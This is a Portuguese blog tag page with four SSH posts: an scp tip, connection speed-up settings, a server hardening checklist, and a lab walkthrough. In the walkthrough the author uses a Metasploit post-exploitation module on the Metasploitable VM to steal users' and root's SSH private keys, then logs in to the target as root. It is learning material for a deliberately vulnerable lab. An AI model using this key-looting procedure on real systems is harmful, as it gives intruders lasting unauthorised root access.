Mostrando postagens com marcador ssh. Mostrar todas as postagens
Mostrando postagens com marcador ssh. Mostrar todas as postagens

sexta-feira, 1 de maio de 2015

E ai pessoal!

Estava aqui no meu lab tentando pegar um arquivo de uma outra máquina de um modo rápido. Ai que lembrei do comando scp, que me permite enviar ou pegar arquivos entre máquinas por ssh. Não lembrava desse comando, dei uma procuradinha e já encontrei.

Resolveu meu problema, espero que resolva de mais alguém por ai.

P.S.: Não preciso dizer né que tem que ter ssh habilitado e saber o user/pass das máquinas.

Para pegar arquivos de outras máquinas use o comando:

scp user@ip_da_maquina:/caminho_do_arquivo_maquina_remota caminho_maquina_local
Ex.:

scp deivid@192.168.1.1:/root/Desktop/imagem.jpg /Users/Deivid/Pictures
Caso queira fazer o processo inverso, enviar arquivos para uma máquina remota, use o comando inverso:

scp caminho_maquina_local user@ip_da_maquina:/caminho_do_arquivo_maquina_remota
Ex.:

scp /Users/Deivid/Pictures deivid@192.168.1.1:/root/Desktop/imagem.jpg

E era isso!

quarta-feira, 21 de agosto de 2013

Eu uso o ssh conexões para gerenciar servidores remotos é uma das tarefas principais em meu trabalho, por isso ao longo do tempo eu aprendi alguns truques para acelerar a fase de conexão do protocolo ssh, portanto, neste artigo, vou mostrar-lhe como:
Configurar o ssh para usar ipv4 só 
configurar ssh para usar um determinado método de autenticação 
Reuse SSH Conexão 
Desative o DNS Lookup no lado do servidor
Além disso, se você estiver interessado em ssh, você pode dar uma olhada em meus artigos anteriores sobre Como manter conexões ssh vivo em Linux e como manter um permanente Túneis SSH com autossh .


Por favor, note que eu uso esses ajustes no meu Ubuntu 13.04 e Arch Linux, a versão mais antiga do ssh não poderia ter todas essas opções.Use ssh com apenas IPv4.
Às vezes eu posso chegar a um servidor através de IPv4, mas não sobre IPv6. Outras vezes, a conexão IPv6 é instável ou de buggy, de modo a ser capaz de forçar uma conexão SSH sobre IPv4 pode ser útil, e é mais rápido em alguns casos.
Para forçar uma conexão IPV4 você pode simplesmente usar este comando no seu computador:
ssh  -4 usuário @ hostname.com
Isto irá ligar a hostname.com usando apenas o protocolo IPV4, por outro lado, se você quiser forçar uma conexão IPV6 você pode usar o comando:
ssh  -6 usuário @ hostname.com

Use ssh com um determinado método de autenticação

Em geral, a melhor maneira de se autenticar é com uma troca de chaves entre o cliente eo servidor ssh ssh, desta forma você não tem que colocar a sua senha toda vez que você faz uma conexão, mas às vezes você não troca as teclas entre o cliente eo servidor e por isso você deve usar a senha antiga bom.
Neste caso, você pode usar a opção de pular o método pubkey e ir diretamente para o método de senha, para isso use o comando:
ssh  -o  PreferredAuthentications = teclado interativo -o  PubkeyAuthentication = no user @ hostname.com
Você também pode fazer o inverso, e executar ssh para usar somente o método pubkey com o comando:
ssh  -o  PreferredAuthentications = publickey usuário @ hostname.com

Reutilização de conexão SSH

É possível reutilizar uma conexão para o servidor remoto usando a diretiva Controlmaster. O conceito é muito simples - em vez de a cada nova conexão SSH para um servidor em particular abrindo uma nova conexão TCP, em vez disso multiplex todas as suas conexões SSH para baixo de uma conexão TCP. A autenticação só acontece uma vez, quando a conexão TCP é aberta e, posteriormente, todas as suas sessões extras SSH são enviados para baixo essa conexão. 
Para definir esta opção de abrir o arquivo de configuração do ssh para o usuário, que está localizado em: ~ ​​/ .ssh / config e adicione as seguintes opções:
Anfitrião *
ControlMaster auto
ControlPath / tmp /% r @% h: % p
Isto diz o seu cliente ssh para usar sempre um ControlMaster em todos os hosts. Você pode configurá-lo para autoask auto ter solicitará ao invés de ssh para você ou não reutilizar uma conexão existente. A configuração directiva ControlPath diz ssh onde ele deve manter a sua informação socket. Neste exemplo, os arquivos são criados em / tmp, no entanto, pode ser melhor para colocar isso em seu próprio diretório home em sistemas multi-usuário.

Desativar a pesquisa de DNS no lado do servidor

A última coisa que se você é o proprietário do servidor remoto, você pode configurá-lo para não resolver o nome do verso do IP que está se conectando via ssh, não há uma definição no OpenSSH que controla se o sshd não deve apenas resolver nomes de hosts remotos mas também verificar se os nomes de host resolvidos mapa de volta para IPs remotos. Aparentemente, essa configuração é ativada por padrão no OpenSSH.Os UseDNS directiva controla esse comportamento particular do OpenSSH, e enquanto ele é comentado no sshd_config (que é o arquivo de configuração padrão para o daemon OpenSSH na maioria enviornments), conforme a página man sshd_config, o padrão para UseDNS é definida como ativada. Descomentar a linha que carrega a directiva UseDNS e defini-la como "não" desativa o recurso.
Esta diretiva pode ser modificado no arquivo / etc / ssh / sshd_config e uma vez que você mudar isso você tem que reiniciar o daemon ssh com o comando:
/ etc / init.d / ssh reiniciar
Ou equivalente.

Conclusões

Estas são algumas dicas rápidas para acelerar suas tarefas diárias com o ssh, se você tiver quaisquer outras dicas ou sugestões basta adicioná-los como comentários, estou sempre em busca de bons truques.

terça-feira, 21 de maio de 2013


hardening, na área de segurança, é o processo de se aumentar a segurança de um serviço ou servidor como um todo através de configurações finas do sistema. Esta é talvez a tarefa mais importante pela qual você é responsável como um administrador de redes ou sistemas e deve ser feita em novos servidores ou mesmo em servidores que já estão em produção para reduzir os riscos a que você está expondo os seus dados.
Todo sistema operacional e todo serviço rodando nele possuem configurações para melhorar a segurança (ainda que muito pouco). No post de hoje você vai aprender a melhorar a segurança do SSH, um dos serviços mais importantes e populares presente em 99% dos servidores Unix.
NOTA: Tirando os itens “Usar port knocking” e “Se mantenha atualizado”, todas as configurações mostradas abaixo podem ser feitas através do arquivo sshd_config. Geralmente este arquivo está localizado no /etc/ssh, porém a localização na sua distribuição pode variar.

Não permitir login como root

Permitir que o root faça login via SSH é o maior erro que um administrador pode cometer. Primeiro, isso já facilita a vida do atacante pois ele não precisa adivinhar o nome de usuário do qual ele vai tentar adivinhar a senha já que ele pode usar o root, que é o padrão em todo sistema *nix (e descobrir qual sistema operacional está sendo executado por um host não é tão difícil assim. Basta um scan com NMap para descobrir). Segundo, se ele vier a adivinhar a senha, já era. Ele tem poder total no seu sistema e você não pode fazer mais nada pra segurar ele.
Felizmente, impedir que o root faça o login no sistema é bem simples. No arquivo sshd_config procure pela linha PermitRootLogin e mude para “no”:
PermitRootLogin no
Assim, outros usuários poderão fazer o login via SSH porém a conta root não conseguirá. Não se esqueça de criar um outro usuário no sistema e adicioná-lo a um grupo que tenha permissões para logar remotamente (veremos como fazer isso abaixo) para que você consiga usar o SSH.

Definir quais grupos e/ou contas de usuários podem fazer login via SSH

Além de impedir que o usuário root faça o login remotamente via SSH, é uma boa ideia que você também especifique quais usuários e/ou grupos podem fazer o login remoto. Para isso, existem algumas opções que você deve encontrar (ou adicionar) no arquivo de configuração:
AllowUsers
DenyUsers
AllowGroups
DenyGroups
Basta colocar os nomes de usuários ou grupos separados por espaço seguido das opções que começam com Allow para permitir o login ou das opções que começam com Deny, para bloquear o login:
AllowUsers joao maria jose
Denygroups rh controladoria visitantes
Assim, escolhendo a opção correta, fica bem simples controlar quem pode e quem não pode fazer o login.

Não permitir senhas em branco

Não permita que senhas em branco sejam aceitas pelo sistema. Acho que o motivo é óbvio, né? Para impedir que senhas em branco sejam aceitas, procure pela linha PermitEmptyPasswords e mude o valor para “no”:
PermitEmptyPasswords no

Fazer autenticação com chaves e não senhas

Esta dica vale ouro e passar a usar chaves ao invés de senhas sozinho já aumenta e muito a segurança do seu sistema. Já expliquei passo a passo como fazer esta configuração no post “SSH sem senha: autenticação através de certificados RSA“.
Recomendo que você vá lá e dê uma lida para apender a configurar mais esta proteção para o seu sistema.

Usar port knocking

O port knocking é um esquema muito interessante. Quando configurado adequadamente, ele fará com que uma determinada porta só seja aberta depois de o host enviar pacotes para um conjunto específico de portas e na ordem correta. Como existem mais de 65 mil portas em um sistema, adivinhar a combinação é bem complicado! É uma boa ideia combinar o port knocking com a dica de fazer com que o SSH use uma outra porta que não a 22.
Já fiz um post bem detalhado sobre como configurar o port knocking em “SSH Port Knocking“. Dê uma lida lá para mais informações sobre como implantar esta medida de segurança no seu servidor.

Forçar o uso da versão 2 do protocolo

A versão 1 do protocolo SSH possui falhas seríssimas de segurança que minam qualquer medida que você tome para aumentar a segurança do sistema. Por isso, você deve sempre forçar o uso da versão 2 do protocolo onde possível. Para isso, procure pela linha Protocol no sshd_config e deixe ela assim:
Protocol 2
Assim, o seu servidor SSH vai exigir que apenas a versão 2 do protocolo (considerada segura enquanto escrevo este texto) seja usada.

Modificar a porta padrão

Muitos atacantes fazem robôs que varrem a Internet fazendo um sweep atrás de hosts com a porta 22/TCP aberta. Isso facilita a vida pois identifica rapidamente hosts que podem ter o SSH habilitado e aceitando conexões de qualquer host na Internet. Se você não utilizar a porta padrão 22 (nem uma variação boba, tipo 2222) você já consegue se livrar de vários destes robôs, podendo ficar mais tranquilo.
Para mudar a porta na qual o SSH vai escutar, procure a linha Port logo no começo do arquivo e mude o valor dela para qualquer outro que esteja livre no seu sistema (de preferência, use valores de portas maiores que 1024):
Port 35670
Lembre-se que, depois de mudar a porta padrão do serviço, você vai precisar especificar a porta correta quando for se conectar via PuTTY ou mesmo usando o cliente SSH na linha de comando:
$ ssh -p 35670 usuario@192.168.0.1

Ignore o arquivo .rhosts

O arquivo .rhosts era utilizado para identificar hosts nos quais o seu servidor confia. Este arquivo servia principalmente para configurar o conjunto de ferramentas comumente apelidado de “rtools”: rsh, rcp, rlogin, rwho e rexec. Todas estas em desuso atualmente, principalmente por causa da falta de segurança que acaba causando muita dor de cabeça.
Enfim, como as ferramentas não são mais utilizadas justamente por não serem seguras, nós podemos falar para o sistema não confiar mais no rhosts. Como? Assim:
IgnoreRhosts yes
RhostsAuthentication no
RhostsRSAAuthentication no
É muito provável que o arquivo de configuração do seu servidor já tenha estas opções configuradas dessa maneira. Mas é sempre bom ter certeza de que tudo está certo, por isso é uma boa ideia verificar e ficar tranquilo! :)

Ative os timeouts

É muito comum que durante o dia nós precisemos sair das nossas mesas para irmos a alguma outra sala, tomar uma água, ir ao banheiro, etc. Nestas ocasiões, nem sempre nos lembramos de bloquear a nossa máquina onde estamos conectados ao servidor via SSH. O que, obviamente, é um grande risco para a segurança.
Por isso, é sempre interessante que você configure um timeout que irá desconectar do servidor depois de um tempo de inatividade. Para isso, edite ou adicione as seguintes linhas:
ClientAliveInterval 300
ClientAliveCountMax 3
O parâmetro informado em “ClientAliveInterval” deve ser informado em segundos. No exemplo acima, a conexão seria finalizada se o cliente ficasse inativo por mais de 300 segundos (ou 5 minutos). A opção ClientAliveCountMax define a quantidade de mensagens de “client alive” (parecido com um heartbeat, usado para saber se a outra ponta da conexão está ativa ou não) que podem ser enviadas para o cliente sem que este envie alguma resposta. O valor padrão é três. O efeito disso está descrito na página de manual do SSH (traduzido livremente por mim):
“Se ClientAliveInterval for configurada para 15, e ClientAliveCountMax é deixada no valor padrão de 3, clientes SSH que não responderem serão desconectados em aproximadamente 45 segundos.”

Use o sudo

Não só não é bom deixar que o root faça login via SSH, como também não é bom que qualquer usuário (por mais experiente que seja) use esta conta no dia-a-dia. O ideal é que você instale e configure o sudo nos seus servidores para que cada usuário use a sua própria conta e para que todas as atividades executadas com poderes de root sejam devidamente logadas.
Já detalhei bastante a configuração do sudo no post “Como configurar e usar o sudo“. Recomendo que você vá lá e dê uma boa lida em como fazer e implante a ferramenta no seu servidor assim que possível!

Se mantenha atualizado

Deixar o seu sistema desatualizado vai fazer com que você fique vulnerável mesmo que siga à risca todas as dicas acima. É importantíssimo que você sempre utilize as versões mais recentes de todos os softwares instalados na máquina e que aplique as correções de segurança assim que elas são disponibilizadas.
Porém, cuidado ao aplicar patches e instalar novas versões em sistemas que estão em produção pois isso pode acabar fazendo com que o serviço em questão pare de funcionar. O ideal é que você utilize máquinas virtuais que imitam o ambiente de produção e teste tudo nestas VMs antes de aplicar as correções ou instalar novas versões no host de produção. Isso já diminui muito a chance de alguma coisa dar errado e você consegue se manter seguro.
Não seja preguiçoso: assim que patches forem lançados, teste e os aplique nos seus hosts.

Reinicie o serviço depois de fazer todas as configurações!

Depois que você analisar todas as dicas acima e adaptá-las ao seu ambiente, salve e feche o arquivo sshd_config. Para fazer com que todas as alterações entrem em vigor você vai precisar reiniciar o serviço. O modo de reiniciar o serviço varia um pouco de distribuição para distribuição. No Ubuntu e no CentOS você pode usar o comando service:
# service sshd restart
A diferença é que no Ubuntu você precisa colocar o “sudo” na frente do comando para executá-lo como root.

Conclusão

O hardening não é o tipo de coisa que você pode deixar pra depois. Em novos servidores, é interessante que você tenha uma checklist de tudo o que é necessário fazer para ter um servidor mais seguro assim que ele entrar em produção. Porém, também é necessário que você faça o hardening em servidores que já estão em produção. Estes são os seus principais alvos já que eles já oferecem riscos à sua infra por estarem em produção sem as devidas medidas de segurança.
No geral, aquelas dicas de sempre também valem: mantenha seus servidores sempre atualizados; configure o seu firewall corretamente; não seja preguiçoso, faça tudo da maneira segura e não da maneira fácil e conheça bem a sua rede e as ameaças.
​Creditos: Pedro Pereira

sábado, 18 de maio de 2013

E ai galera!

Já tinha me esquecido dos posts do Metasploitable, mas vou voltar a postar por que um dos posts que eu pretendo fazer é como fazer uma auditoria de vulnerabilidades completa e relatório, e para isso estou auditando esta VM. O interessante desse post é que eu procurei em tudo que foi lugar sobre esse módulo que eu usei e não encontrei nada. No próprio site do Metasploit não tem muitas informações sobre ele, então temos mais um conteúdo exclusivo da Brutal Security :D

Acredito que isto não seja de fato uma falha, por que para usar esse módulo eu já preciso ter uma sessão do metasploit aberta com o alvo, mas também não é um módulo totalmente inútil. Vamos a ele então!

Basicamente existem vários métodos de se conectar com um computador remotamente, por SSH podemos usar o tradicional usuário e senha, ou também podemos utilizar um sistema de chaves. Essas chaves são arquivos que ficam no servidor e no cliente e quando é solicitado a conexão as chaves são comparadas para autenticar o usuário e liberar o acesso remoto a máquina. Não vou muito a fundo na questão de chaves por que isso é um conteúdo da LPI e provavelmente vai ter um post sobre isso.

Este módulo funciona da seguinte maneira: já com uma sessão aberta rodamos o módulo e roubamos estas chaves, depois disso colocamos tudo nos devidos lugares e podemos conectar por SSH a qualquer momento sem saber a senha.

Vamos lá então! Primeiramente precisamos de uma sessão aberta com o alvo, não vou explicar isso aqui, se estiver usando o Metasploitable tem milhares de furos que você pode usar para chegar nisso então se vire. :)

Já tenho aqui o Metasploit rodando com uma sessão aberta:

[*] The port used by the backdoor bind listener is already open
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.0.5:33290 -> 10.0.0.6:6200) at 2013-04-08 00:32:12 -0300

Agora vamos colocar isso em background com o atalho CTRL + Z e vamos carregar o módulo:
msf > search openssh
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/local/trusted_service_path 2001-10-25 00:00:00 UTC excellent Windows Service Trusted Path Privilege Escalation
post/multi/gather/ssh_creds normal Multi Gather OpenSSH PKI Credentials Collection
msf > use post/multi/gather/ssh_creds
Este módulo tem apenas um parâmetro, o SESSION, onde você vai informar de qual sessão do Metasploit você quer que ele pegue as credenciais.
msf post(ssh_creds) > set SESSION 1
SESSION => 1
msf post(ssh_creds) > exploit
[*] Finding .ssh directories
[*] Looting 3 directories
[+] Downloaded /home/msfadmin/.ssh/authorized_keys -> /root/.msf4/loot/20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt
[+] Downloaded /home/msfadmin/.ssh/id_rsa -> /root/.msf4/loot/20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt
[*] Saving private key id_rsa as cred
[+] Downloaded /home/msfadmin/.ssh/id_rsa.pub -> /root/.msf4/loot/20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt
[+] Downloaded /home/user/.ssh/id_dsa -> /root/.msf4/loot/20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt
[*] Saving private key id_dsa as cred
[+] Downloaded /home/user/.ssh/id_dsa.pub -> /root/.msf4/loot/20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt
[+] Downloaded /root/.ssh/authorized_keys -> /root/.msf4/loot/20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt
[+] Downloaded /root/.ssh/known_hosts -> /root/.msf4/loot/20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt
[*] Post module execution completed
msf post(ssh_creds) > exit -y

Como você pode ver, conseguimos alguns arquivos do alvo, mas eles estão na pasta errada e com um nome todo maluco. O que precisamos fazer agora é corrigir o nome e colocar na pasta certa que é a/root/.ssh do seu Backtrack ou qualquer outra distro que você use. Os nomes dos arquivos corretos estão na própria saída do comando, destaquei em negrito no exemplo acima. As chaves do diretório home você poderia ignorar, mas para garantir que de certo eu passei tudo. Então vamos trocar os nomes e mandar para o lugar certo:

root@bt:~# cd /root/.msf4/loot
root@bt:~/.msf4/loot# ls
20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt
20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt
20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt
20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt
20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt
20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt
20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt
root@bt:~/.msf4/loot# mv 20130408003303_default_10.0.0.6_ssh.authorized_k_435099.txt /root/.ssh/authorized_keys
root@bt:~/.msf4/loot# mv 20130408003304_default_10.0.0.6_ssh.id_rsa_734052.txt /root/.ssh/id_rsa
root@bt:~/.msf4/loot# mv 20130408003304_default_10.0.0.6_ssh.id_rsa.pub_477962.txt /root/.ssh/id_rsa.pub
root@bt:~/.msf4/loot# mv 20130408003305_default_10.0.0.6_ssh.id_dsa_894228.txt /root/.ssh/id_dsa
root@bt:~/.msf4/loot# mv 20130408003305_default_10.0.0.6_ssh.id_dsa.pub_587787.txt /root/.ssh/id_dsa.pub
root@bt:~/.msf4/loot# mv 20130408003306_default_10.0.0.6_ssh.authorized_k_892925.txt /root/.ssh/authorized_keys
root@bt:~/.msf4/loot# mv 20130408003306_default_10.0.0.6_ssh.known_hosts_898232.txt /root/.ssh/known_hosts

Agora que está tudo lá é só acessar por SSH! Se você substituiu tudo corretamente vai ter acesso root por SSH ao alvo:

root@bt:~/.msf4/loot# ssh root@10.0.0.6
The authenticity of host '10.0.0.6 (10.0.0.6)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.0.6' (RSA) to the list of known hosts.
Last login: Sun Apr 7 23:26:44 2013 from 10.0.0.5
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# w
23:36:07 up 1:12, 2 users, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 :0.0 22:24 1:12 0.01s 0.01s -bash
root pts/1 10.0.0.5 23:36 0.00s 0.01s 0.00s w
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# exit
logout
Connection to 10.0.0.6 closed.

E era isso! Agora é com você, acessar por SSH na minha opinião gera menos ruído e é mais simples do que manter uma sessão do Metasploit sempre aberta, seja ela com Backdoor ou com alguma outra coisa.

A solução para esse problema com chaves é manter seu sistema sempre atualizado para evitar que outra falha seja explorada como eu fiz neste tutorial, utilizar uma senha forte ou mudar frequentemente suas chaves de acesso.

Eu fico por aqui, bons estudos!
Subscribe to RSS Feed Follow me on Twitter!